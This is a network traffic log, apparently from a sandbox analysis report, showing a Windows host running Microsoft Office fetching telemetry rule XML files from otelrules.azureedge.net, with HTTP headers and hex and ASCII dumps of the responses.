2024-10-07 01:23:10 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:10 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0c165d1d-a01e-000d-7dfe-16d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012310Z-1657d5bbd48vlsxxpe15ac3q7n00000002q000000000m87h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:10 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:10 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:10 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:10 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 33b4d0ae-a01e-0032-35ff-161949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012310Z-1657d5bbd48xlwdx82gahegw40000000031g0000000056wy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:10 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:10 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:10 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:10 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: c2f609cb-201e-0003-75fd-16f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012310Z-1657d5bbd48wd55zet5pcra0cg00000002qg00000000m40h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:10 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:10 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:10 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:10 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 960edd56-701e-005c-4100-17bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012310Z-1657d5bbd48f7nlxc7n5fnfzh000000002eg000000009uhw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:10 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:11 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:11 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 8a5fd43d-c01e-0066-4506-17a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012311Z-1657d5bbd48vlsxxpe15ac3q7n00000002qg00000000hz5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:11 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:11 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:11 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: b738acd5-401e-0067-1502-1709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012311Z-1657d5bbd487nf59mzf5b3gk8n00000002ag00000000ryw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:11 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:11 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:11 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:11 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 0480ed94-801e-00ac-5102-17fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012311Z-1657d5bbd48tnj6wmberkg2xy800000002x00000000097b8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:11 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:11 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:11 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b72ef555-401e-0067-78fe-1609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012311Z-1657d5bbd48wd55zet5pcra0cg00000002rg00000000epbn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:11 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:11 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:11 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: db28c537-d01e-0065-47fe-16b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012311Z-1657d5bbd482lxwq1dp2t1zwkc00000002gg00000000g2mh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:11 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:11 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:12 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:11 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b6c21a8e-c01e-008e-115a-177381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012311Z-1657d5bbd48762wn1qw4s5sd3000000002p000000000cwfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:11 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:12 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:11 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cb759915-201e-003f-5f03-176d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012311Z-1657d5bbd48vhs7r2p1ky7cs5w000000031g00000000mvct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:11 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:12 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:11 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 84e7aa3f-c01e-008e-74ff-167381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012311Z-1657d5bbd48t66tjar5xuq22r800000002ug00000000533w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
